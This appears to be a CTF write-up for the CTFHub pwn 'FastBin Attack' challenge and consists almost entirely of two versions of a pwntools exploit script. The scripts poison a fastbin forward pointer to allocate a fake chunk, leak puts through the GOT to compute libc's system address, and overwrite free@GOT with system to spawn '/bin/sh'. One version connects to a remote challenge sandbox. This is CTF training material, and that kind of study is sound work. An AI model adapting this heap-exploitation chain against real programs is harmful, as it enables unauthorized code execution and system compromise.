CTFHub pwn [FastBin Attack]

版本一

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-5dd2c6599f1cd66f.sandbox.ctfhub.com",36598)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

def add():
	io.recvuntil(b">> ")
	io.sendline(b"1")

def free(idx):
	io.recvuntil(b">> ")
	io.sendline(b"2")
	io.recvuntil(b"Index:")
	io.sendline(str(idx))

def show(idx):
	io.recvuntil(b">> ")
	io.sendline(b"3")
	io.recvuntil(b"Index:")
	io.sendline(str(idx))

def edit(idx,size,data):
	io.recvuntil(b">> ")
	io.sendline(b"4")
	io.recvuntil(b"Index:")
	io.sendline(str(idx))
	io.recvuntil(b"Size:")
	io.sendline(str(size))
	io.recvuntil(b"Content:")
	io.send(data)

add()
add()
add()
fake_chunk = 0x6020a5-0x8
free(1)
edit(0,-1,b"a"*0x60+p64(0)+p64(0x71)+p64(fake_chunk))
add()
add()
free_got = elf.got['free']
puts_got = elf.got['puts']

edit(3,-1,b"a"*3+p64(puts_got)*3)
show(0)
io.recvuntil(b"\x3a\x20")
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
system_addr = puts_addr-0x2a300
print("puts_addr------------>: ",hex(puts_addr))
print("system_addr---------->: ",hex(system_addr))

edit(3,-1,b"a"*3+p64(free_got)*3)
add()
edit(4,8,b"/bin/sh\x00")
edit(0,8,p64(system_addr))
free(4)

io.interactive()

版本二

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show", 28240)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

def add():
	sla(b">> ",b"1")

def free(idx):
	ru(b">> ")
	sl(b"2")
	sla(b"Index:",str(idx))

def show(idx):
	ru(b">> ")
	sl(b"3")
	sla(b"Index:",str(idx))

def edit(idx,size,data):
	ru(b">> ")
	sl(b"4")
	sla(b"Index:",str(idx))
	sla(b"Size:",str(size))
	sla(b"Content:",data)


add()  #0
add()#1
add()#2
add()#3

fake_chunk = 0x6020a5-0x8
free(1)
edit(0,-1,b"a"*0x60+p64(0)+p64(0x71)+p64(fake_chunk))
add()#1
add()#4

free_got = elf.got['free']
puts_got = elf.got['puts']

edit(4,-1,b"a"*3+p64(puts_got)*3)
show(0)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("puts_addr------------>: ",hex(puts_addr))
base_addr = puts_addr-libc.symbols['puts']
system_addr = base_addr+libc.symbols['system']
print("base_addr",hex(base_addr))
print("system_addr---------->: ",hex(system_addr))

edit(4,-1,b"a"*3+p64(free_got)*3)
add()
edit(5,8,b"/bin/sh")
edit(0,8,p64(system_addr))
free(5)

# gdb.attach(io)


itr()